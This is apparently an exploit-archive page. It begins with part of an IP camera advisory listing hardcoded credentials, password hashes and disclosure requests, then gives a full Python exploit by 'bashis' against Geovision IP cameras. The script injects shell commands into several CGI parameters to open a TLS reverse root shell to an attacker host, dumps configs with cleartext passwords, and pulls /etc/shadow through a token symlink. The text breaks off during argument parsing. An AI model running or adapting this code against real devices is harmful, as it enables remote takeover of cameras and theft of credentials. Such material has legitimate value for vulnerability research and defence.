    000013a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
    *
    00001400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 31 32 |..............12|
    00001410 33 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |34..............|
    00001420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

    Cameras l/p
    [...]
    00008d80 00 00 00 00 c0 00 a8 00 01 00 15 00 92 1f 00 00 |................|
    00008d90 91 1f 00 00 72 6f 6f 74 00 00 00 00 00 00 00 00 |....root........|
    00008da0 00 00 00 00 70 61 73 73 00 00 00 00 00 00 00 00 |....pass........|
    00008db0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
    00008dc0 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 a8 00 |................|
    00008dd0 01 00 16 00 94 1f 00 00 93 1f 00 00 72 6f 6f 74 |............root|
    00008de0 00 00 00 00 00 00 00 00 00 00 00 00 70 61 73 73 |............pass|
    00008df0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

    -[Hardcode l/p]-
    FTP: TCP/10021
    TELNET: TCP/10023

    /etc/passwd
    root:$1$5LFGqGq.$fUozHRdzvapI2qBf1EeoJ0:0:0:root:/root:/bin/sh
    woody:$1$e0vY7A0V$BjS38SsHNWC5DxEGlzuEP1:1001:100:woohyun digital user:/home/woody:/bin/sh

    -[Korean hardcoded DNS]-
    $ cat /etc/resolv.conf
    nameserver 168.126.63.1
    nameserver 0.0.0.0
    nameserver 0.0.0.0
    $

    $ nslookup 168.126.63.1
    1.63.126.168.in-addr.arpa name = kns.kornet.net.
    $ nslookup 168.126.63.2
    2.63.126.168.in-addr.arpa name = kns2.kornet.net.


    -[Other Information Disclosure]-
    curl -v "http://192.168.57.20:80/webviewer/netinfo.dat"
    192,168,57,20
    192,168,2,100
    00:0A:2F:XX:XX:XX
    00:0A:2F:YY:YY:YY
    255.255.255.0
    192.168.57.1

    -[MAC Address Details]-
    Company: Artnix Inc.
    Address: Seoul 137-819, KOREA, REPUBLIC OF
    Range: 00:0A:2F:00:00:00 - 00:0A:2F:FF:FF:FF
    Type: IEEE MA-L

    curl -v "http://192.168.57.20:80/webviewer/gw.dat"
    Kernel IP routing table
    Destination Gateway Genmask Flags Metric Ref Use Iface
    192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
    192.168.57.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
    0.0.0.0 192.168.57.1 0.0.0.0 UG 0 0 0 eth0

    curl -v "http://192.168.57.20:80/cgi-bin/php/lang_change.php?lang=0"
    Change GUI Language to English

    [... and more]

    [ETX]

    Geovision Inc. IP Camera / Video Server Remote Command Execution

    $
    0
    0

    Geovision Inc. IP Camera and Video Server remote command execution proof of concept exploit.


    MD5 | 420b8077a65259982e45e68c08322a8e

    #!/usr/bin/env python2.7
    #
    # [SOF]
    #
    # Geovision Inc. IP Camera & Video Server Remote Command Execution PoC
    # Researcher: bashis <mcw noemail eu> (November 2017)
    #
    ###########################################################################################
    #
    # 1. Pop stunnel TLSv1 reverse root shell [Local listener: 'ncat -vlp <LPORT> --ssl'; Verified w/ v7.60]
    # 2. Dump all settings of remote IPC with Login/Passwd in cleartext
    # Using:
    # - CGI: 'Usersetting.cgi' (Logged in user) < v3.12 (Very old) [Used as default]
    # - CGI: 'FilterSetting.cgi' (Logged in user) < v3.12 (Very old)
    # - CGI: 'PictureCatch.cgi' (Anonymous) > v3.10
    # - CGI: 'JpegStream.cgi' (Anonymous) > v3.10
    # 3. GeoToken PoC to login and download /etc/shadow via generated token symlink
    #
    # Sample reverse shell:
    # $ ncat -vlp 1337 --ssl
    # Ncat: Version 7.60 ( https://nmap.org/ncat )
    # Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
    # Ncat: SHA-1 fingerprint: 3469 C118 43F0 043A 5168 189B 1D67 1131 4B5B 1603
    # Ncat: Listening on :::1337
    # Ncat: Listening on 0.0.0.0:1337
    # Ncat: Connection from 192.168.57.20.
    # Ncat: Connection from 192.168.57.20:16945.
    # /bin/sh: can't access tty; job control turned off
    # /www # id
    # id
    # uid=0(root) gid=0(root)
    # /www # uname -a
    # uname -a
    # Linux IPCAM 2.6.18_pro500-davinci #1 Mon Jun 19 21:27:10 CST 2017 armv5tejl unknown
    # /www # exit
    # $

    ############################################################################################

    import sys
    import socket
    import urllib, urllib2, httplib
    import json
    import hashlib
    import commentjson # pip install commentjson
    import xmltodict # pip install xmltodict
    import select
    import string
    import argparse
    import random
    import base64
    import ssl
    import json
    import os
    import re

    #from pwn import *

    def split2len(s, n):
    def _f(s, n):
    while s:
    yield s[:n]
    s = s[n:]
    return list(_f(s, n))

    # Ignore download of '302 Found/Location' redirections
    class NoRedirection(urllib2.HTTPErrorProcessor):

    def http_response(self, request, response):
    return response
    https_response = http_response

    class HTTPconnect:

    def __init__(self, host, proto, verbose, credentials, Raw, noexploit):
    self.host = host
    self.proto = proto
    self.verbose = verbose
    self.credentials = credentials
    self.Raw = Raw
    self.noexploit = False
    self.noexploit = noexploit

    def Send(self, uri, query_headers, query_data, ID):
    self.uri = uri
    self.query_headers = query_headers
    self.query_data = query_data
    self.ID = ID

    # Connect-timeout in seconds
    timeout = 10
    socket.setdefaulttimeout(timeout)

    url = '{}://{}{}'.format(self.proto, self.host, self.uri)

    if self.verbose:
    print "[Verbose] Sending:", url

    if self.proto == 'https':
    if hasattr(ssl, '_create_unverified_context'):
    print "[i] Creating SSL Unverified Context"
    ssl._create_default_https_context = ssl._create_unverified_context

    if self.credentials:
    Basic_Auth = self.credentials.split(':')
    if self.verbose:
    print "[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1]
    try:
    pwd_mgr = urllib2.HTTPpasswordMgrWithDefaultDahua_realm()
    pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
    auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
    if verbose:
    http_logger = urllib2.HTTPHandler(debuglevel = 1) # HTTPSHandler... for HTTPS
    opener = urllib2.build_opener(auth_handler,NoRedirection,http_logger)
    else:
    opener = urllib2.build_opener(auth_handler,NoRedirection)
    urllib2.install_opener(opener)
    except Exception as e:
    print "[!] Basic Auth Error:",e
    sys.exit(1)
    else:
    # Don't follow redirects!
    if verbose:
    http_logger = urllib2.HTTPHandler(debuglevel = 1)
    opener = urllib2.build_opener(http_logger,NoRedirection)
    urllib2.install_opener(opener)
    else:
    NoRedir = urllib2.build_opener(NoRedirection)
    urllib2.install_opener(NoRedir)


    if self.noexploit and not self.verbose:
    print "[<] 204 Not Sending!"
    html = "Not sending any data"
    return html
    else:
    if self.query_data:
    req = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers)
    if self.ID:
    Cookie = 'CLIENT_ID={}'.format(self.ID)
    req.add_header('Cookie', Cookie)
    else:
    req = urllib2.Request(url, None, headers=self.query_headers)
    if self.ID:
    Cookie = 'CLIENT_ID={}'.format(self.ID)
    req.add_header('Cookie', Cookie)
    rsp = urllib2.urlopen(req)
    if rsp:
    print "[<] {}".format(rsp.code)

    if self.Raw:
    return rsp
    else:
    html = rsp.read()
    return html



    #
    # Validate correctness of HOST, IP and PORT
    #
    class Validate:

    def __init__(self,verbose):
    self.verbose = verbose

    # Check if IP is valid
    def CheckIP(self,IP):
    self.IP = IP

    ip = self.IP.split('.')
    if len(ip) != 4:
    return False
    for tmp in ip:
    if not tmp.isdigit():
    return False
    i = int(tmp)
    if i < 0 or i > 255:
    return False
    return True

    # Check if PORT is valid
    def Port(self,PORT):
    self.PORT = PORT

    if int(self.PORT) < 1 or int(self.PORT) > 65535:
    return False
    else:
    return True

    # Check if HOST is valid
    def Host(self,HOST):
    self.HOST = HOST

    try:
    # Check valid IP
    socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
    # Now we check if it is correct typed IP
    if self.CheckIP(self.HOST):
    return self.HOST
    else:
    return False
    except socket.error as e:
    # Else check valid DNS name, and use the IP address
    try:
    self.HOST = socket.gethostbyname(self.HOST)
    return self.HOST
    except socket.error as e:
    return False



    class Geovision:

    def __init__(self, rhost, proto, verbose, credentials, raw_request, noexploit, headers, SessionID):
    self.rhost = rhost
    self.proto = proto
    self.verbose = verbose
    self.credentials = credentials
    self.raw_request = raw_request
    self.noexploit = noexploit
    self.headers = headers
    self.SessionID = SessionID


    def Login(self):

    try:

    print "[>] Requesting keys from remote"
    URI = '/ssi.cgi/Login.htm'
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)
    response = response.read()[:1500]
    response = re.split('[()<>?"\n_&;/ ]',response)
    # print response

    except Exception as e:
    print "[!] Can't access remote host... ({})".format(e)
    sys.exit(1)

    try:
    #
    # Geovision way to have MD5 random Login and Password
    #
    CC1 = ''
    CC2 = ''
    for check in range(0,len(response)):
    if response[check] == 'cc1=':
    CC1 = response[check+1]
    print "[i] Random key CC1: {}".format(response[check+1])
    elif response[check] == 'cc2=':
    CC2 = response[check+1]
    print "[i] Random key CC2: {}".format(response[check+1])
    """
    #
    # Less interesting to know, but leave it here anyway.
    #
    # If the remote server has enabled guest view, these below will not be '0'
    elif response[check] == 'GuestIdentify':
    print "[i] GuestIdentify: {}".format(response[check+2])
    elif response[check] == 'uid':
    if response[check+2]:
    print "[i] uid: {}".format(response[check+2])
    else:
    print "[i] uid: {}".format(response[check+3])
    elif response[check] == 'pid':
    if response[check+2]:
    print "[i] pid: {}".format(response[check+2])
    else:
    print "[i] pid: {}".format(response[check+3])
    """

    if not CC1 and not CC2:
    print "[!] CC1 and CC2 missing!"
    print "[!] Cannot generate MD5, exiting.."
    sys.exit(0)

    #
    # Geovision MD5 Format
    #
    uMD5 = hashlib.md5(CC1 + username + CC2).hexdigest().upper()
    pMD5 = hashlib.md5(CC2 + password + CC1).hexdigest().upper()
    # print "[i] User MD5: {}".format(uMD5)
    # print "[i] Pass MD5: {}".format(pMD5)


    self.query_args = {
    "username":"",
    "password":"",
    "Apply":"Apply",
    "umd5":uMD5,
    "pmd5":pMD5,
    "browser":1,
    "is_check_OCX_OK":0
    }

    print "[>] Logging in"
    URI = '/LoginPC.cgi'
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    # print response.info()

    # if we don't get 'Set-Cookie' back from the server, the Login has failed
    if not (response.info().get('Set-Cookie')):
    print "[!] Login Failed!"
    sys.exit(1)
    if verbose:
    print "Cookie: {}".format(response.info().get('Set-Cookie'))

    return response.info().get('Set-Cookie')

    except Exception as e:
    print "[i] What happen? ({})".format(e)
    exit(0)


    def DeviceInfo(self):

    try:
    URI = '/PSIA/System/deviceInfo'
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,None)
    deviceinfo = xmltodict.parse(response)
    print "[i] Remote target: {} ({})".format(deviceinfo['DeviceInfo']['model'],deviceinfo['DeviceInfo']['firmwareVersion'])
    return True

    except Exception as e:
    print "[i] Info about remote target failed ({})".format(e)
    return False


    def UserSetting(self,DumpSettings):
    self.DumpSettings = DumpSettings

    if self.DumpSettings:
    print "[i] Dump Config of remote"
    SH_CMD = '`echo "<!--#include file="SYS_CFG"-->">/var/www/tmp/Login.htm`'
    else:

    print "[i] Launching TLSv1 privacy reverse shell"
    self.headers = {
    'Connection': 'close',
    'Accept-Language' : 'en-US,en;q=0.8',
    'Cache-Control' : 'max-age=0',
    'User-Agent':'Mozilla',
    'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
    }
    SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
    SH_CMD = SH_CMD.replace("LHOST",lhost)
    SH_CMD = SH_CMD.replace("LPORT",lport)

    print "[>] Pwning Usersetting.cgi"
    self.query_args = {
    "umd5":SH_CMD,
    "pmd5":"GEOVISION",
    "nmd5":"PWNED",
    "cnt5":"",
    "username":"",
    "passwordOld":"",
    "passwordNew":"",
    "passwordRetype":"",
    "btnSubmitAdmin":"1",
    "submit":"Apply"
    }
    try:
    URI = '/UserSetting.cgi'
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    if DumpSettings:
    print "[i] Dumping"
    URI = '/ssi.cgi/tmp/Login.htm'
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
    print response
    return True

    except Exception as e:
    if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
    print "[!] Enjoy the shell... ({})".format(e)
    return True


    def PictureCatch(self,DumpSettings):
    self.DumpSettings = DumpSettings

    if self.DumpSettings:
    print "[i] Dump Config of remote"
    SH_CMD = '`echo "<!--#include file="SYS_CFG"-->">/var/www/tmp/Login.htm`'
    else:

    print "[i] Launching TLSv1 privacy reverse shell"
    self.headers = {
    'Connection': 'close',
    'Accept-Language' : 'en-US,en;q=0.8',
    'Cache-Control' : 'max-age=0',
    'User-Agent':'Mozilla',
    'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
    }
    SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
    SH_CMD = SH_CMD.replace("LHOST",lhost)
    SH_CMD = SH_CMD.replace("LPORT",lport)

    print "[>] Pwning PictureCatch.cgi"
    self.query_args = {
    "username":SH_CMD,
    "password":"GEOVISION",
    "attachment":"1",
    "channel":"1",
    "secret":"1",
    "key":"PWNED"
    }

    try:
    URI = '/PictureCatch.cgi'
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    if DumpSettings:
    print "[i] Dumping"
    URI = '/ssi.cgi/tmp/Login.htm'
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
    print response
    return True
    except Exception as e:
    if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
    print "[!] Enjoy the shell... ({})".format(e)
    return True


    def JpegStream(self,DumpSettings):
    self.DumpSettings = DumpSettings

    if self.DumpSettings:
    print "[i] Dump Config of remote"
    SH_CMD = '`echo "<!--#include file="SYS_CFG"-->">/var/www/tmp/Login.htm`'
    else:

    print "[i] Launching TLSv1 privacy reverse shell"
    self.headers = {
    'Connection': 'close',
    'Accept-Language' : 'en-US,en;q=0.8',
    'Cache-Control' : 'max-age=0',
    'User-Agent':'Mozilla',
    'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
    }
    SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
    SH_CMD = SH_CMD.replace("LHOST",lhost)
    SH_CMD = SH_CMD.replace("LPORT",lport)

    print "[>] Pwning JpegStream.cgi"
    self.query_args = {
    "username":SH_CMD,
    "password":"GEOVISION",
    "attachment":"1",
    "channel":"1",
    "secret":"1",
    "key":"PWNED"
    }

    try:
    URI = '/JpegStream.cgi'
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    if DumpSettings:
    print "[i] Dumping"
    URI = '/ssi.cgi/tmp/Login.htm'
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
    print response
    return True
    except Exception as e:
    if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
    print "[!] Enjoy the shell... ({})".format(e)
    return True

    #
    # Interesting example of bad code and insufficent sanitation of user input.
    # ';' is filtered in v3.12, and when found in the packet, the packet is simply ignored.
    #
    # Later in the chain the Geovision code will write provided userinput to flash, we may overwrite unwanted flash area if we playing to much here.
    # So, we are limited to 31 char per line (32 MUST BE NULL), to play safe game with this bug.
    #
    # v3.10->3.12 changed how to handle ipfilter
    # From:
    # User input to system() call in FilterSetting.cgi to set iptable rules and then save them in flash
    # To:
    # User input transferred from 'FilterSetting.cgi' to flash (/dev/mtd11), and when the tickbox to activate the filter rules,
    # '/usr/local/bin/geobox-iptables-reload' is triggered to read these rules from flash and '/usr/local/bin/iptables' via 'geo_net_filter_table_add'
    # with system() call in 'libgeo_net.so'
    #

    # Should end up into;
    # 23835 root 576 S sh -c /usr/local/bin/iptables -A INPUT -s `/usr/loca...[trunkated]
    # 23836 root 2428 S /usr/local/bin/stunnel /tmp/x
    # 23837 root 824 S /bin/sh


    def FilterSetting(self):

    try:
    print "[>] Pwning FilterSetting.cgi"
    #
    # ';' will be treated by the code as LF
    #
    # Let's use some TLSv1 privacy for the reverse shell
    #
    SH_CMD = 'client=yes;connect=LHOST:LPORT;exec=/bin/sh;pty=yes;sslVersion=TLSv1'
    #
    SH_CMD = SH_CMD.replace("LHOST",lhost)
    SH_CMD = SH_CMD.replace("LPORT",lport)
    ShDict = SH_CMD.split(';')

    MAX_SIZE = 31 # Max Size of the strings to generate
    LF = 0
    LINE = 0
    CMD = {}
    CMD_NO_LF = "`echo -n \"TMP\">>/tmp/x`"
    CMD_DO_LF = "`echo \"TMP\">>/tmp/x`"
    SIZE = MAX_SIZE-(len(CMD_NO_LF)-3) # Size of availible space for our input in 'SH_CMD'

    # Remove, just in case
    CMD[LINE] = "`rm -f /tmp/x`"

    URI = '/FilterSetting.cgi'
    #
    # This loop will make the correct aligment of user input
    #
    for cmd in range(0,len(ShDict)):
    CMD_LF = math.ceil(float(len(ShDict[cmd])) / SIZE)
    cmd_split = split2len(ShDict[cmd], SIZE)
    for CMD_LEN in range(0,len(cmd_split)):
    LINE += 1
    LF += 1
    if (len(cmd_split[CMD_LEN]) > SIZE-1) and (CMD_LF != LF):
    CMD[LINE] = CMD_NO_LF.replace("TMP",cmd_split[CMD_LEN])
    else:
    CMD[LINE] = CMD_DO_LF.replace("TMP",cmd_split[CMD_LEN])
    LF = 0
    if verbose:
    print "Len: {} {}".format(len(CMD[LINE]),CMD[LINE])

    # Add two more commands to execute stunnel and remove /tmp/x
    CMD[LINE+1] = "`/usr/local/bin/stunnel /tmp/x`" # 31 char, no /usr/local/bin in $PATH
    CMD[LINE+2] = "`rm -f /tmp/x`" # Some bug here, think it is timing as below working
    CMD[LINE+3] = "`rm -f /tmp/x`" # Working, this is only one more add/enable/disable/remove loop
    #
    # Below while() loop will create following /tmp/x, execute 'stunnel' and remove /tmp/x
    #
    # client=yes
    # connect=<LHOST>:<LPORT>
    # exec=/bin/sh
    # pty=yes
    # sslVersion=TLSv1
    #

    NEW_IP_FILTER = 1 # > v3.12
    CMD_LEN = 0
    who = 0
    # Clean up to make room, just in case
    for Remove in range(0,4):
    print "[>] Cleaning ipfilter entry: {}".format(Remove+1)
    self.query_args = {
    "bPolicy":"0", # 1 = Enable, 0 = Disable
    "Delete":"Remove", # Remove entry
    "szIpAddr":"",
    "byOpId":"0", # 0 = Allow, 1 = Deny
    "dwSelIndex":"0",
    }
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)

    while True:
    if who == len(CMD):
    break
    if CMD_LEN < 4:

    print "[>] Sending: {} ({})".format(CMD[who],len(CMD[who]))
    self.query_args = {
    "szIpAddr":CMD[who], # 31 char limit
    "byOpId":"0", # 0 = Allow, 1 = Deny
    "dwSelIndex":"0", # Seems not to be in use
    "Add":"Apply"
    }
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    response = re.split('[()<>?"\n_&;/ ]',response)
    print response
    if NEW_IP_FILTER:
    for cnt in range(0,len(response)):
    if response[cnt] == 'iptables':
    NEW_IP_FILTER = 0
    print "[i] Remote don't need Enable/Disable"
    break
    CMD_LEN += 1
    who += 1
    time.sleep(2) # Seems to be too fast without
    # NEW Way
    elif NEW_IP_FILTER:
    print "[>] Enabling ipfilter"
    self.query_args = {
    "bPolicy":"1", # 1 = Enable, 0 = Disable
    "szIpAddr":"",
    "byOpId":"0", # 0 = Allow, 1 = Deny
    "dwSelIndex":"0",
    }

    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)

    print "[i] Sleeping..."
    time.sleep(5)

    print "[>] Disabling ipfilter"
    self.query_args = {
    "szIpAddr":"",
    "byOpId":"0",
    "dwSelIndex":"0",
    }
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)

    for Remove in range(0,4):
    print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
    self.query_args = {
    "bPolicy":"0", # 1 = Enable, 0 = Disable
    "Delete":"Remove",
    "szIpAddr":"",
    "byOpId":"0",
    "dwSelIndex":"0",
    }
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    CMD_LEN = 0
    # OLD Way
    else:
    for Remove in range(0,4):
    print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
    self.query_args = {
    "bPolicy":"0", # 1 = Enable, 0 = Disable
    "Delete":"Remove",
    "szIpAddr":"",
    "byOpId":"0",
    "dwSelIndex":"0",
    }
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    CMD_LEN = 0

    if NEW_IP_FILTER:
    print "[i] Last sending"
    print "[>] Enabling ipfilter"
    self.query_args = {
    "bPolicy":"1", # 1 = Enable, 0 = Disable
    "szIpAddr":"",
    "byOpId":"0", # 0 = Allow, 1 = Deny
    "dwSelIndex":"0",
    }

    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)

    print "[i] Sleeping..."
    time.sleep(5)

    print "[>] Disabling ipfilter"
    self.query_args = {
    "szIpAddr":"",
    "byOpId":"0",
    "dwSelIndex":"0",
    }
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)

    for Remove in range(0,4):
    print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
    self.query_args = {
    "bPolicy":"0", # 1 = Enable, 0 = Disable
    "Delete":"Remove",
    "szIpAddr":"",
    "byOpId":"0",
    "dwSelIndex":"0",
    }
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)

    print "[!] Enjoy the shell... "

    return True

    except Exception as e:

    if not NEW_IP_FILTER:
    print "[i] Last sending"
    for Remove in range(0,4):
    print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
    self.query_args = {
    "bPolicy":"0", # 1 = Enable, 0 = Disable
    "Delete":"Remove",
    "szIpAddr":"",
    "byOpId":"0",
    "dwSelIndex":"0",
    }
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    print "[!] Enjoy the shell... "
    return True

    print "[!] Hmm... {}".format(e)
    print response.read()
    return True


    def GeoToken(self):

    print "[i] GeoToken PoC to login and download /etc/shadow via token symlink"
    print "[!] You must have valid login and password to generate the symlink"
    try:

    #########################################################################################
    # This is how to list remote *.wav and *.avi files in /storage.

    """
    print "[>] Requesting token1"
    URI = '/BKCmdToken.php'
    response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,None,None)
    result = json.load(response)
    if verbose:
    print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))

    print "[i] Request OK?: {}".format(result['success'])
    if not result['success']:
    sys.exit(1)
    token1 = result['token']

    #
    # SAMPLE OUTPUT
    #
    #{
    # "success": true,
    # "token": "6fe1a7c1f34431acc7eaecba646b7caf"
    #}
    #
    # Generate correct MD5 token2
    token2 = hashlib.md5(hashlib.md5(token1 + 'gEo').hexdigest() + 'vIsIon').hexdigest()
    query_args = {
    "token1":token1,
    "token2":token2
    }

    print "[>] List files"
    URI = '/BKFileList.php'
    response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,query_args,None)
    result = json.load(response)
    if verbose:
    print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))

    for who in result.keys():
    print len(who)
    #
    # SAMPLE OUTPUT
    #
    #{
    # "files": [
    # {
    # "file_size": "2904170",
    # "filename": "event20171105104946001.avi",
    # "remote_path": "/storage/hd11-1/GV-MFD1501-0a99a9/cam01/2017/11/05"
    # },
    # {}
    # ]
    #}
    #########################################################################################
    """

    # Request remote MD5 token1
    print "[>] Requesting token1"
    URI = '/BKCmdToken.php'
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)
    result = json.load(response)
    if verbose:
    print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))

    print "[i] Request OK?: {}".format(result['success'])
    if not result['success']:
    return False
    token1 = result['token']
    #
    # SAMPLE OUTPUT
    #{
    # "success": true,
    # "token": "6fe1a7c1f34431acc7eaecba646b7caf"
    #}
    #
    #
    # Generate correct MD5 token2
    #
    # MD5 Format: <login>:<token1>:<password>
    #
    token2 = hashlib.md5(username + ':' + token1 + ':' + password).hexdigest()

    #
    # symlink this file for us
    #
    filename = '/etc/shadow'

    self.query_args = {
    "token1":token1,
    "token2":token2,
    "filename":filename
    }

    print "[>] Requesting download file link"
    URI = '/BKDownloadLink.cgi'
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)
    response = response.read()#[:900]
    response = response.replace("'", "\"")
    result = json.loads(response)
    print "[i] Request OK?: {}".format(result['success'])
    if not result['success']:
    return False
    if verbose:
    print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))


    #
    # SAMPLE OUTPUT
    #
    #{
    # "dl_folder": "/tmp",
    # "dl_token": "C71689493825787.dltoken",
    # "err_code": 0,
    # "success": true
    #}
    #

    URI = '/ssi.cgi' + result['dl_folder'] + '/' + result['dl_token']

    print "[>] downloading ({}) with ({})".format(filename,URI)
    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)
    response = response.read()
    print response
    return True

    except Exception as e:
    print "[i] GEO Token fail ({})".format(e)
    return False


    if __name__ == '__main__':

    #
    # Help, info and pre-defined values
    #
    INFO = '[Geovision Inc. IPC/IPV RCE PoCs (2017 bashis <mcw noemail eu>)]\n'
    HTTP = "http"
    HTTPS = "https"
    proto = HTTP
    verbose = False
    noexploit = False
    raw_request = True
    rhost = '192.168.57.20' # Default Remote HOST
    rport = '80' # Default Remote PORT
    lhost = '192.168.57.1' # Default Local HOST
    lport = '1337' # Default Local PORT
    # creds = 'root:pass'
    credentials = False

    #
    # Geovision stuff
    #
    SessionID = str(int(random.random() * 100000))
    DumpSettings = False
    deviceinfo = False
    GEOtoken = False
    anonymous = False
    filtersetting = False
    usersetting = False
    jpegstream = False
    picturecatch = False
    # Geovision default
    username = 'admin'
    password = 'admin'

    #
    # Try to parse all arguments
    #
    try:
    arg_parser = argparse.ArgumentParser(
    prog=sys.argv[0],
    description=('[*] '+ INFO +' [*]'))
    arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
    arg_parser.add_argument('--rport', required=True, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
    arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
    arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
    arg_parser.add_argument('--autoip', required=False, default=False, action='store_true', help='Detect External Connect Back IP [Default: False]')

    arg_parser.add_argument('--deviceinfo', required=False, default=False, action='store_true', help='Request model and firmware version')

    arg_parser.add_argument('-g','--geotoken', required=False, default=False, action='store_true', help='Try retrieve /etc/shadow with geotoken')
    arg_parser.add_argument('-a','--anonymous', required=False, default=False, action='store_true', help='Try pwning as anonymous')
    arg_parser.add_argument('-f','--filtersetting', required=False, default=False, action='store_true', help='Try pwning with FilterSetting.cgi')
    arg_parser.add_argument('-p','--picturecatch', required=False, default=False, action='store_true', help='Try pwning with PictureCatch.cgi')
    arg_parser.add_argument('-j','--jpegstream', required=False, default=False, action='store_true', help='Try pwning with JpegStream.cgi')
    arg_parser.add_argument('-u','--usersetting', required=False, default=False, action='store_true', help='Try pwning with UserSetting.cgi')
    arg_parser.add_argument('-d','--dump', required=False, default=False, action='store_true', help='Try pwning remote config')


    arg_parser.add_argument('--username', required=False, help='Username [Default: '+ username +']')
    arg_parser.add_argument('--password', required=False, help='password [Default: '+ password +']')
    if credentials:
    arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ credentials + ']')
    arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
    arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
    arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')
    args = arg_parser.parse_args()
    except Exception as e:
